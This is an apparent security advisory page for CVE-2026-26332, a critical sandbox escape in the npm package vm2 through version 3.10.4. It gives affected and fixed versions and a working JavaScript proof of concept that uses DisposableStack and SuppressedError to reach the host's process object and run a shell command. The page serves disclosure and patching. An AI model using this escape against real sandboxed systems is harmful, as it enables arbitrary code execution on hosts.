Open-source package vulnerability · npm

CVE-2026-26332: VM2 Has a Sandbox Escape Issue via SuppressedError

criticalCVSS 3.1 9.8GHSA-55hx-c926-fr95

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. PoC

Published May 5, 2026

Affected packages

vm2

Ecosystem: npm
Affected: <= 3.10.4
Fixed in: 3.11.0
Check: npm ls vm2

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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